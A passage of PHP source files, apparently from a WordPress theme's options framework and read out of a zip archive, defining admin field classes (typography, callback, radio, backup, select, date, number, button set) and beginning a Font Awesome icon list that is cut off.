          $default_color_attr = ( ! empty( $default_value['color'] ) ) ? ' data-default-color="'. esc_attr( $default_value['color'] ) .'"' : '';
          echo '<div class="csf--block csf--block-font-color">';
          echo '<div class="csf--title">'. esc_html__( 'Font Color', 'csf' ) .'</div>';
          echo '<div class="csf-field-color">';
          echo '<input type="text" name="'. esc_attr( $this->field_name( '[color]' ) ) .'" class="csf-color csf--color" value="'. esc_attr( $this->value['color'] ) .'"'. $default_color_attr .' />';
          echo '</div>';
          echo '</div>';
        }

        //
        // Custom style
        if ( ! empty( $args['custom_style'] ) ) {
          echo '<div class="csf--block csf--block-custom-style">';
          echo '<div class="csf--title">'. esc_html__( 'Custom Style', 'csf' ) .'</div>';
          echo '<textarea name="'. esc_attr( $this->field_name( '[custom-style]' ) ) .'" class="csf--custom-style">'. esc_attr( $this->value['custom-style'] ) .'</textarea>';
          echo '</div>';
        }

        //
        // Preview
        $always_preview = ( $args['preview'] !== 'always' ) ? ' hidden' : '';

        if ( ! empty( $args['preview'] ) ) {
          echo '<div class="csf--block csf--block-preview'. esc_attr( $always_preview ) .'">';
          echo '<div class="csf--toggle fas fa-toggle-off"></div>';
          echo '<div class="csf--preview">'. esc_attr( $args['preview_text'] ) .'</div>';
          echo '</div>';
        }

        echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[type]' ) ) .'" class="csf--type" value="'. esc_attr( $this->value['type'] ) .'" />';
        echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[unit]' ) ) .'" class="csf--unit-save" value="'. esc_attr( $args['unit'] ) .'" />';

      echo '</div>';

      echo $this->field_after();

    }

    public function create_select( $options, $name, $placeholder = '', $is_multiple = false ) {

      $multiple_name = ( $is_multiple ) ? '[]' : '';
      $multiple_attr = ( $is_multiple ) ? ' multiple data-multiple="true"' : '';
      $chosen_rtl    = ( $this->chosen && is_rtl() ) ? ' chosen-rtl' : '';

      $output  = '<select name="'. esc_attr( $this->field_name( '['. $name .']'. $multiple_name ) ) .'" class="csf--'. esc_attr( $name ) . esc_attr( $chosen_rtl ) .'" data-placeholder="'. esc_attr( $placeholder ) .'"'. $multiple_attr .'>';
      $output .= ( ! empty( $placeholder ) ) ? '<option value="">'. esc_attr( ( ! $this->chosen ) ? $placeholder : '' ) .'</option>' : '';

      if ( ! empty( $options ) ) {
        foreach ( $options as $option_key => $option_value ) {
          if ( $is_multiple ) {
            $selected = ( in_array( $option_value, $this->value[$name] ) ) ? ' selected' : '';
            $output .= '<option value="'. esc_attr( $option_value ) .'"'. esc_attr( $selected ).'>'. esc_attr( $option_value ) .'</option>';
          } else {
            $option_key = ( is_numeric( $option_key ) ) ? $option_value : $option_key;
            $selected = ( $option_key === $this->value[$name] ) ? ' selected' : '';
            $output .= '<option value="'. esc_attr( $option_key ) .'"'. esc_attr( $selected ).'>'. esc_attr( $option_value ) .'</option>';
          }
        }
      }

      $output .= '</select>';

      return $output;

    }

    public function enqueue() {

      if ( ! wp_script_is( 'csf-webfontloader' ) ) {

        CSF::include_plugin_file( 'fields/typography/google-fonts.php' );

        wp_enqueue_script( 'csf-webfontloader', 'https://cdn.jsdelivr.net/npm/webfontloader@1.6.28/webfontloader.min.js', array( 'csf' ), '1.6.28', true );

        $webfonts = array();

        $customwebfonts = apply_filters( 'csf_field_typography_customwebfonts', array() );

        if ( ! empty( $customwebfonts ) ) {
          $webfonts['custom'] = array(
            'label' => esc_html__( 'Custom Web Fonts', 'csf' ),
            'fonts' => $customwebfonts
          );
        }

        $webfonts['safe'] = array(
          'label' => esc_html__( 'Safe Web Fonts', 'csf' ),
          'fonts' => apply_filters( 'csf_field_typography_safewebfonts', array(
            'Arial',
            'Arial Black',
            'Helvetica',
            'Times New Roman',
            'Courier New',
            'Tahoma',
            'Verdana',
            'Impact',
            'Trebuchet MS',
            'Comic Sans MS',
            'Lucida Console',
            'Lucida Sans Unicode',
            'Georgia, serif',
            'Palatino Linotype'
          )
        ) );

        $webfonts['google'] = array(
          'label' => esc_html__( 'Google Web Fonts', 'csf' ),
          'fonts' => apply_filters( 'csf_field_typography_googlewebfonts', csf_get_google_fonts()
        ) );

        $defaultstyles = apply_filters( 'csf_field_typography_defaultstyles', array( 'normal', 'italic', '700', '700italic' ) );

        $googlestyles = apply_filters( 'csf_field_typography_googlestyles', array(
          '100'       => 'Thin 100',
          '100italic' => 'Thin 100 Italic',
          '200'       => 'Extra-Light 200',
          '200italic' => 'Extra-Light 200 Italic',
          '300'       => 'Light 300',
          '300italic' => 'Light 300 Italic',
          'normal'    => 'Normal 400',
          'italic'    => 'Normal 400 Italic',
          '500'       => 'Medium 500',
          '500italic' => 'Medium 500 Italic',
          '600'       => 'Semi-Bold 600',
          '600italic' => 'Semi-Bold 600 Italic',
          '700'       => 'Bold 700',
          '700italic' => 'Bold 700 Italic',
          '800'       => 'Extra-Bold 800',
          '800italic' => 'Extra-Bold 800 Italic',
          '900'       => 'Black 900',
          '900italic' => 'Black 900 Italic'
        ) );

        $webfonts = apply_filters( 'csf_field_typography_webfonts', $webfonts );

        wp_localize_script( 'csf', 'csf_typography_json', array(
          'webfonts'      => $webfonts,
          'defaultstyles' => $defaultstyles,
          'googlestyles'  => $googlestyles
        ) );

      }

    }

    public function enqueue_google_fonts( $method = 'enqueue' ) {

      $is_google = false;

      if ( ! empty( $this->value['type'] ) ) {
        $is_google = ( $this->value['type'] === 'google' ) ? true : false;
      } else {
        CSF::include_plugin_file( 'fields/typography/google-fonts.php' );
        $is_google = ( array_key_exists( $this->value['font-family'], csf_get_google_fonts() ) ) ? true : false;
      }

      if ( $is_google ) {

        // set style
        $font_family = ( ! empty( $this->value['font-family'] ) ) ? $this->value['font-family'] : '';
        $font_weight = ( ! empty( $this->value['font-weight'] ) ) ? $this->value['font-weight'] : '';
        $font_style  = ( ! empty( $this->value['font-style'] ) ) ? $this->value['font-style'] : '';

        if ( $font_weight || $font_style ) {
          $style = $font_weight . $font_style;
          if ( ! empty( $style ) ) {
            $style = ( $style === 'normal' ) ? '400' : $style;
            CSF::$webfonts[$method][$font_family][$style] = $style;
          }
        } else {
          CSF::$webfonts[$method][$font_family] = array();
        }

        // set extra styles
        if ( ! empty( $this->value['extra-styles'] ) ) {
          foreach ( $this->value['extra-styles'] as $extra_style ) {
            if ( ! empty( $extra_style ) ) {
              $extra_style = ( $extra_style === 'normal' ) ? '400' : $extra_style;
              CSF::$webfonts[$method][$font_family][$extra_style] = $extra_style;
            }
          }
        }

        // set subsets
        if ( ! empty( $this->value['subset'] ) ) {
          $this->value['subset'] = ( is_array( $this->value['subset'] ) ) ? $this->value['subset'] : array_filter( (array) $this->value['subset'] );
          foreach ( $this->value['subset'] as $subset ) {
            if( ! empty( $subset ) ) {
              CSF::$subsets[$subset] = $subset;
            }
          }
        }

        return true;

      }

      return false;

    }

    public function output() {

      $output    = '';
      $bg_image  = array();
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $element   = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];

      $font_family   = ( ! empty( $this->value['font-family'] ) ) ? $this->value['font-family'] : '';
      $backup_family = ( ! empty( $this->value['backup-font-family'] ) ) ? ', '. $this->value['backup-font-family'] : '';

      if ( $font_family ) {
        $output .= 'font-family:"'. $font_family .'"'. $backup_family . $important .';';
      }

      // Common font properties
      $properties = array(
        'color',
        'font-weight',
        'font-style',
        'font-variant',
        'text-align',
        'text-transform',
        'text-decoration',
      );

      foreach ( $properties as $property ) {
        if ( isset( $this->value[$property] ) && $this->value[$property] !== '' ) {
          $output .= $property .':'. $this->value[$property] . $important .';';
        }
      }

      $properties = array(
        'font-size',
        'line-height',
        'letter-spacing',
        'word-spacing',
      );

      $unit = ( ! empty( $this->value['unit'] ) ) ? $this->value['unit'] : 'px';
      $line_height_unit = ( ! empty( $this->value['line_height_unit'] ) ) ? $this->value['line_height_unit'] : $unit;

      foreach ( $properties as $property ) {
        if ( isset( $this->value[$property] ) && $this->value[$property] !== '' ) {
          $unit = ( $property === 'line-height' ) ? $line_height_unit : $unit;
          $output .= $property .':'. $this->value[$property] . $unit . $important .';';
        }
      }

      $custom_style = ( ! empty( $this->value['custom-style'] ) ) ? $this->value['custom-style'] : '';

      if ( $output ) {
        $output = $element .'{'. $output . $custom_style .'}';
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     N\Q    2  inc/options/framework/fields/callback/callback.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: callback
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_callback' ) ) {
  class CSF_Field_callback extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      if ( isset( $this->field['function'] ) && is_callable( $this->field['function'] ) ) {

        $args = ( isset( $this->field['args'] ) ) ? $this->field['args'] : null;

        call_user_func( $this->field['function'], $args );

      }

    }

  }
}

PK     N\<Δ?  ?  ,  inc/options/framework/fields/radio/radio.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: radio
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_radio' ) ) {
  class CSF_Field_radio extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'inline'     => false,
        'query_args' => array(),
      ) );

      $inline_class = ( $args['inline'] ) ? ' class="csf--inline-list"' : '';

      echo $this->field_before();

      if ( isset( $this->field['options'] ) ) {

        $options = $this->field['options'];
        $options = ( is_array( $options ) ) ? $options : array_filter( $this->field_data( $options, false, $args['query_args'] ) );

        if ( is_array( $options ) && ! empty( $options ) ) {

          echo '<ul'. $inline_class .'>';

          foreach ( $options as $option_key => $option_value ) {

            if ( is_array( $option_value ) && ! empty( $option_value ) ) {

              echo '<li>';
                echo '<ul>';
                  echo '<li><strong>'. esc_attr( $option_key ) .'</strong></li>';
                  foreach ( $option_value as $sub_key => $sub_value ) {
                    $checked = ( $sub_key == $this->value ) ? ' checked' : '';
                    echo '<li>';
                    echo '<label>';
                    echo '<input type="radio" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $sub_key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
                    echo '<span class="csf--text">'. esc_attr( $sub_value ) .'</span>';
                    echo '</label>';
                    echo '</li>';
                  }
                echo '</ul>';
              echo '</li>';

            } else {

              $checked = ( $option_key == $this->value ) ? ' checked' : '';

              echo '<li>';
              echo '<label>';
              echo '<input type="radio" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $option_key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
              echo '<span class="csf--text">'. esc_attr( $option_value ) .'</span>';
              echo '</label>';
              echo '</li>';

            }

          }

          echo '</ul>';

        } else {

          echo ( ! empty( $this->field['empty_message'] ) ) ? esc_attr( $this->field['empty_message'] ) : esc_html__( 'No data available.', 'csf' );

        }

      } else {

        $label = ( isset( $this->field['label'] ) ) ? $this->field['label'] : '';
        echo '<label><input type="radio" name="'. esc_attr( $this->field_name() ) .'" value="1"'. $this->field_attributes() . esc_attr( checked( $this->value, 1, false ) ) .'/>';
        echo ( ! empty( $this->field['label'] ) ) ? '<span class="csf--text">'. esc_attr( $this->field['label'] ) .'</span>' : '';
        echo '</label>';

      }

      echo $this->field_after();

    }

  }
}
PK     N\1/xc  c  .  inc/options/framework/fields/backup/backup.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: backup
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_backup' ) ) {
  class CSF_Field_backup extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $unique = $this->unique;
      $nonce  = wp_create_nonce( 'csf_backup_nonce' );
      $export = add_query_arg( array( 'action' => 'csf-export', 'unique' => $unique, 'nonce' => $nonce ), admin_url( 'admin-ajax.php' ) );

      echo $this->field_before();

      echo '<textarea name="csf_import_data" class="csf-import-data"></textarea>';
      echo '<button type="submit" class="button button-primary csf-confirm csf-import" data-unique="'. esc_attr( $unique ) .'" data-nonce="'. esc_attr( $nonce ) .'">'. esc_html__( 'Import', 'csf' ) .'</button>';
      echo '<hr />';
      echo '<textarea readonly="readonly" class="csf-export-data">'. esc_attr( json_encode( get_option( $unique ) ) ) .'</textarea>';
      echo '<a href="'. esc_url( $export ) .'" class="button button-primary csf-export" target="_blank">'. esc_html__( 'Export & Download', 'csf' ) .'</a>';
      echo '<hr />';
      echo '<button type="submit" name="csf_transient[reset]" value="reset" class="button csf-warning-primary csf-confirm csf-reset" data-unique="'. esc_attr( $unique ) .'" data-nonce="'. esc_attr( $nonce ) .'">'. esc_html__( 'Reset', 'csf' ) .'</button>';

      echo $this->field_after();

    }

  }
}
PK     N\i    .  inc/options/framework/fields/select/select.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: select
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_select' ) ) {
  class CSF_Field_select extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'placeholder' => '',
        'chosen'      => false,
        'multiple'    => false,
        'sortable'    => false,
        'ajax'        => false,
        'settings'    => array(),
        'query_args'  => array(),
      ) );

      $this->value = ( is_array( $this->value ) ) ? $this->value : array_filter( (array) $this->value );

      echo $this->field_before();

      if ( isset( $this->field['options'] ) ) {

        if ( ! empty( $args['ajax'] ) ) {
          $args['settings']['data']['type']  = $args['options'];
          $args['settings']['data']['nonce'] = wp_create_nonce( 'csf_chosen_ajax_nonce' );
          if ( ! empty( $args['query_args'] ) ) {
            $args['settings']['data']['query_args'] = $args['query_args'];
          }
        }

        $chosen_rtl       = ( is_rtl() ) ? ' chosen-rtl' : '';
        $multiple_name    = ( $args['multiple'] ) ? '[]' : '';
        $multiple_attr    = ( $args['multiple'] ) ? ' multiple="multiple"' : '';
        $chosen_sortable  = ( $args['chosen'] && $args['sortable'] ) ? ' csf-chosen-sortable' : '';
        $chosen_ajax      = ( $args['chosen'] && $args['ajax'] ) ? ' csf-chosen-ajax' : '';
        $placeholder_attr = ( $args['chosen'] && $args['placeholder'] ) ? ' data-placeholder="'. esc_attr( $args['placeholder'] ) .'"' : '';
        $field_class      = ( $args['chosen'] ) ? ' class="csf-chosen'. esc_attr( $chosen_rtl . $chosen_sortable . $chosen_ajax ) .'"' : '';
        $field_name       = $this->field_name( $multiple_name );
        $field_attr       = $this->field_attributes();
        $maybe_options    = $this->field['options'];
        $chosen_data_attr = ( $args['chosen'] && ! empty( $args['settings'] ) ) ? ' data-chosen-settings="'. esc_attr( json_encode( $args['settings'] ) ) .'"' : '';

        if ( is_string( $maybe_options ) && ! empty( $args['chosen'] ) && ! empty( $args['ajax'] ) ) {
          $options = $this->field_wp_query_data_title( $maybe_options, $this->value );
        } else if ( is_string( $maybe_options ) ) {
          $options = $this->field_data( $maybe_options, false, $args['query_args'] );
        } else {
          $options = $maybe_options;
        }

        if ( ( is_array( $options ) && ! empty( $options ) ) || ( ! empty( $args['chosen'] ) && ! empty( $args['ajax'] ) ) ) {

          if ( ! empty( $args['chosen'] ) && ! empty( $args['multiple'] ) ) {

            echo '<select name="'. $field_name .'" class="csf-hide-select hidden"'. $multiple_attr . $field_attr .'>';
            foreach ( $this->value as $option_key ) {
              echo '<option value="'. esc_attr( $option_key ) .'" selected>'. esc_attr( $option_key ) .'</option>';
            }
            echo '</select>';

            $field_name = '_pseudo';
            $field_attr = '';

          }

          // These attributes has been serialized above.
          echo '<select name="'. esc_attr( $field_name ) .'"'. $field_class . $multiple_attr . $placeholder_attr . $field_attr . $chosen_data_attr .'>';

          if ( $args['placeholder'] && empty( $args['multiple'] ) ) {
            if ( ! empty( $args['chosen'] ) ) {
              echo '<option value=""></option>';
            } else {
              echo '<option value="">'. esc_attr( $args['placeholder'] ) .'</option>';
            }
          }

          foreach ( $options as $option_key => $option ) {

            if ( is_array( $option ) && ! empty( $option ) ) {

              echo '<optgroup label="'. esc_attr( $option_key ) .'">';

              foreach ( $option as $sub_key => $sub_value ) {
                $selected = ( in_array( $sub_key, $this->value ) ) ? ' selected' : '';
                echo '<option value="'. esc_attr( $sub_key ) .'" '. esc_attr( $selected ) .'>'. esc_attr( $sub_value ) .'</option>';
              }

              echo '</optgroup>';

            } else {
              $selected = ( in_array( $option_key, $this->value ) ) ? ' selected' : '';
              echo '<option value="'. esc_attr( $option_key ) .'" '. esc_attr( $selected ) .'>'. esc_attr( $option ) .'</option>';
            }

          }

          echo '</select>';

        } else {

          echo ( ! empty( $this->field['empty_message'] ) ) ? esc_attr( $this->field['empty_message'] ) : esc_html__( 'No data available.', 'csf' );

        }

      }

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-sortable' ) ) {
        wp_enqueue_script( 'jquery-ui-sortable' );
      }

    }

  }
}
PK     N\u    *  inc/options/framework/fields/date/date.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: date
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_date' ) ) {
  class CSF_Field_date extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $default_settings = array(
        'dateFormat' => 'mm/dd/yy',
      );

      $settings = ( ! empty( $this->field['settings'] ) ) ? $this->field['settings'] : array();
      $settings = wp_parse_args( $settings, $default_settings );

      echo $this->field_before();

      if ( ! empty( $this->field['from_to'] ) ) {

        $args = wp_parse_args( $this->field, array(
          'text_from' => esc_html__( 'From', 'csf' ),
          'text_to'   => esc_html__( 'To', 'csf' ),
        ) );

        $value = wp_parse_args( $this->value, array(
          'from' => '',
          'to'   => '',
        ) );

        echo '<label class="csf--from">'. esc_attr( $args['text_from'] ) .' <input type="text" name="'. esc_attr( $this->field_name( '[from]' ) ) .'" value="'. esc_attr( $value['from'] ) .'"'. $this->field_attributes() .'/></label>';
        echo '<label class="csf--to">'. esc_attr( $args['text_to'] ) .' <input type="text" name="'. esc_attr( $this->field_name( '[to]' ) ) .'" value="'. esc_attr( $value['to'] ) .'"'. $this->field_attributes() .'/></label>';

      } else {

        echo '<input type="text" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .'/>';

      }

      echo '<div class="csf-date-settings" data-settings="'. esc_attr( json_encode( $settings ) ) .'"></div>';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-datepicker' ) ) {
        wp_enqueue_script( 'jquery-ui-datepicker' );
      }

    }

  }
}
PK     N\Hx  x  .  inc/options/framework/fields/number/number.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: number
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_number' ) ) {
  class CSF_Field_number extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'min'  => 'any',
        'max'  => 'any',
        'step' => 'any',
        'unit' => '',
      ) );

      echo $this->field_before();
      echo '<div class="csf--wrap">';
      echo '<input type="number" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .' min="'. esc_attr( $args['min'] ) .'" max="'. esc_attr( $args['max'] ) .'" step="'. esc_attr( $args['step'] ) .'"/>';
      echo ( ! empty( $args['unit'] ) ) ? '<span class="csf--unit">'. esc_attr( $args['unit'] ) .'</span>' : '';
      echo '</div>';
      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $elements  = ( is_array( $this->field['output'] ) ) ? $this->field['output'] : array_filter( (array) $this->field['output'] );
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $mode      = ( ! empty( $this->field['output_mode'] ) ) ? $this->field['output_mode'] : 'width';
      $unit      = ( ! empty( $this->field['unit'] ) ) ? $this->field['unit'] : 'px';

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        foreach ( $elements as $key_property => $element ) {
          if ( is_numeric( $key_property ) ) {
            if ( $mode ) {
              $output = implode( ',', $elements ) .'{'. $mode .':'. $this->value . $unit . $important .';}';
            }
            break;
          } else {
            $output .= $element .'{'. $key_property .':'. $this->value . $unit . $important .'}';
          }
        }
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     N\5>y  y  6  inc/options/framework/fields/button_set/button_set.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: button_set
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_button_set' ) ) {
  class CSF_Field_button_set extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'multiple'   => false,
        'options'    => array(),
        'query_args' => array(),
      ) );

      $value = ( is_array( $this->value ) ) ? $this->value : array_filter( (array) $this->value );

      echo $this->field_before();

      if ( isset( $this->field['options'] ) ) {

        $options = $this->field['options'];
        $options = ( is_array( $options ) ) ? $options : array_filter( $this->field_data( $options, false, $args['query_args'] ) );

        if ( is_array( $options ) && ! empty( $options ) ) {

          echo '<div class="csf-siblings csf--button-group" data-multiple="'. esc_attr( $args['multiple'] ) .'">';

          foreach ( $options as $key => $option ) {

            $type    = ( $args['multiple'] ) ? 'checkbox' : 'radio';
            $extra   = ( $args['multiple'] ) ? '[]' : '';
            $active  = ( in_array( $key, $value ) || ( empty( $value ) && empty( $key ) )  ) ? ' csf--active' : '';
            $checked = ( in_array( $key, $value ) || ( empty( $value ) && empty( $key ) ) ) ? ' checked' : '';

            echo '<div class="csf--sibling csf--button'. esc_attr( $active ) .'">';
            echo '<input type="'. esc_attr( $type ) .'" name="'. esc_attr( $this->field_name( $extra ) ) .'" value="'. esc_attr( $key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
            echo $option;
            echo '</div>';

          }

          echo '</div>';

        } else {

          echo ( ! empty( $this->field['empty_message'] ) ) ? esc_attr( $this->field['empty_message'] ) : esc_html__( 'No data available.', 'csf' );

        }

      }

      echo $this->field_after();

    }

  }
}
PK     N\Et{  {  /  inc/options/framework/fields/icon/fa5-icons.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
//
// Font Awesome 5 Free Icons
//
if ( ! function_exists( 'csf_get_default_icons' ) ) {
  function csf_get_default_icons() {
    return array( array(
      'title' => 'Font Awesome 5 Free',
      'icons' => array( 'fab fa-500px','fab fa-accessible-icon','fab fa-accusoft','fab fa-acquisitions-incorporated','fas fa-ad','fas fa-address-book','far fa-address-book','fas fa-address-card','far fa-address-card','fas fa-adjust','fab fa-adn','fab fa-adversal','fab fa-affiliatetheme','fas fa-air-freshener','fab fa-airbnb','fab fa-algolia','fas fa-align-center','fas fa-align-justify','fas fa-align-left','fas fa-align-right','fab fa-alipay','fas fa-allergies','fab fa-amazon','fab fa-amazon-pay','fas fa-ambulance','fas fa-american-sign-language-interpreting','fab fa-amilia','fas fa-anchor','fab fa-android','fab fa-angellist','fas fa-angle-double-down','fas fa-angle-double-left','fas fa-angle-double-right','fas fa-angle-double-up','fas fa-angle-down','fas fa-angle-left','fas fa-angle-right','fas fa-angle-up','fas fa-angry','far fa-angry','fab fa-angrycreative','fab fa-angular','fas fa-ankh','fab fa-app-store','fab fa-app-store-ios','fab fa-apper','fab fa-apple','fas fa-apple-alt','fab fa-apple-pay','fas fa-archive','fas fa-archway','fas fa-arrow-alt-circle-down','far fa-arrow-alt-circle-down','fas fa-arrow-alt-circle-left','far fa-arrow-alt-circle-left','fas fa-arrow-alt-circle-right','far fa-arrow-alt-circle-right','fas fa-arrow-alt-circle-up','far fa-arrow-alt-circle-up','fas fa-arrow-circle-down','fas fa-arrow-circle-left','fas fa-arrow-circle-right','fas fa-arrow-circle-up','fas fa-arrow-down','fas fa-arrow-left','fas fa-arrow-right','fas fa-arrow-up','fas fa-arrows-alt','fas fa-arrows-alt-h','fas fa-arrows-alt-v','fab fa-artstation','fas fa-assistive-listening-systems','fas fa-asterisk','fab fa-asymmetrik','fas fa-at','fas fa-atlas','fab fa-atlassian','fas fa-atom','fab fa-audible','fas fa-audio-description','fab fa-autoprefixer','fab fa-avianex','fab fa-aviato','fas fa-award','fab fa-aws','fas fa-baby','fas fa-baby-carriage','fas fa-backspace','fas fa-backward','fas fa-bacon','fas fa-bacteria','fas fa-bacterium','fas fa-bahai','fas fa-balance-scale','fas fa-balance-scale-left','fas fa-balance-scale-right','fas fa-ban','fas fa-band-aid','fab fa-bandcamp','fas fa-barcode','fas fa-bars','fas fa-baseball-ball','fas fa-basketball-ball','fas fa-bath','fas fa-battery-empty','fas fa-battery-full','fas fa-battery-half','fas fa-battery-quarter','fas fa-battery-three-quarters','fab fa-battle-net','fas fa-bed','fas fa-beer','fab fa-behance','fab fa-behance-square','fas fa-bell','far fa-bell','fas fa-bell-slash','far fa-bell-slash','fas fa-bezier-curve','fas fa-bible','fas fa-bicycle','fas fa-biking','fab fa-bimobject','fas fa-binoculars','fas fa-biohazard','fas fa-birthday-cake','fab fa-bitbucket','fab fa-bitcoin','fab fa-bity','fab fa-black-tie','fab fa-blackberry','fas fa-blender','fas fa-blender-phone','fas fa-blind','fas fa-blog','fab fa-blogger','fab fa-blogger-b','fab fa-bluetooth','fab fa-bluetooth-b','fas fa-bold','fas fa-bolt','fas fa-bomb','fas fa-bone','fas fa-bong','fas fa-book','fas fa-book-dead','fas fa-book-medical','fas fa-book-open','fas fa-book-reader','fas fa-bookmark','far fa-bookmark','fab fa-bootstrap','fas fa-border-all','fas fa-border-none','fas fa-border-style','fas fa-bowling-ball','fas fa-box','fas fa-box-open','fas fa-box-tissue','fas fa-boxes','fas fa-braille','fas fa-brain','fas fa-bread-slice','fas fa-briefcase','fas fa-briefcase-medical','fas fa-broadcast-tower','fas fa-broom','fas fa-brush','fab fa-btc','fab fa-buffer','fas fa-bug','fas fa-building','far fa-building','fas fa-bullhorn','fas fa-bullseye','fas fa-burn','fab fa-buromobelexperte','fas fa-bus','fas fa-bus-alt','fas fa-business-time','fab fa-buy-n-large','fab fa-buysellads','fas fa-calculator','fas fa-calendar','far fa-calendar','fas fa-calendar-alt','far fa-calendar-alt','fas fa-calendar-check','far fa-calendar-check','fas fa-calendar-day','fas fa-calendar-minus','far fa-calendar-minus','fas fa-calendar-plus','far fa-calendar-plus','fas fa-calendar-times','far fa-calendar-times','fas fa-calendar-week','fas fa-camera','fas fa-camera-retro','fas fa-campground','fab fa-canadian-maple-leaf','fas fa-candy-cane','fas fa-cannabis','fas fa-capsules','fas fa-car','fas fa-car-alt','fas fa-car-battery','fas fa-car-crash','fas fa-car-side','fas fa-caravan','fas fa-caret-down','fas fa-caret-left','fas fa-caret-right','fas fa-caret-square-down','far fa-caret-square-down','fas fa-caret-square-left','far fa-caret-square-left','fas fa-caret-square-right','far fa-caret-square-right','fas fa-caret-square-up','far fa-caret-square-up','fas fa-caret-up','fas fa-carrot','fas fa-cart-arrow-down','fas fa-cart-plus','fas fa-cash-register','fas fa-cat','fab fa-cc-amazon-pay','fab fa-cc-amex','fab fa-cc-apple-pay','fab fa-cc-diners-club','fab fa-cc-discover','fab fa-cc-jcb','fab fa-cc-mastercard','fab fa-cc-paypal','fab fa-cc-stripe','fab fa-cc-visa','fab fa-centercode','fab fa-centos','fas fa-certificate','fas fa-chair','fas fa-chalkboard','fas fa-chalkboard-teacher','fas fa-charging-station','fas fa-chart-area','fas fa-chart-bar','far fa-chart-bar','fas fa-chart-line','fas fa-chart-pie','fas fa-check','fas fa-check-circle','far fa-check-circle','fas fa-check-double','fas fa-check-square','far fa-check-square','fas fa-cheese','fas fa-chess','fas fa-chess-bishop','fas fa-chess-board','fas fa-chess-king','fas fa-chess-knight','fas fa-chess-pawn','fas fa-chess-queen','fas fa-chess-rook','fas fa-chevron-circle-down','fas fa-chevron-circle-left','fas fa-chevron-circle-right','fas fa-chevron-circle-up','fas fa-chevron-down','fas fa-chevron-left','fas fa-chevron-right','fas fa-chevron-up','fas fa-child','fab fa-chrome','fab fa-chromecast','fas fa-church','fas fa-circle','far fa-circle','fas fa-circle-notch','fas fa-city','fas fa-clinic-medical','fas fa-clipboard','far fa-clipboard','fas fa-clipboard-check','fas fa-clipboard-list','fas fa-clock','far fa-clock','fas fa-clone','far fa-clone','fas fa-closed-captioning','far fa-closed-captioning','fas fa-cloud','fas fa-cloud-download-alt','fas fa-cloud-meatball','fas fa-cloud-moon','fas fa-cloud-moon-rain','fas fa-cloud-rain','fas fa-cloud-showers-heavy','fas fa-cloud-sun','fas fa-cloud-sun-rain','fas fa-cloud-upload-alt','fab fa-cloudflare','fab fa-cloudscale','fab fa-cloudsmith','fab fa-cloudversify','fas fa-cocktail','fas fa-code','fas 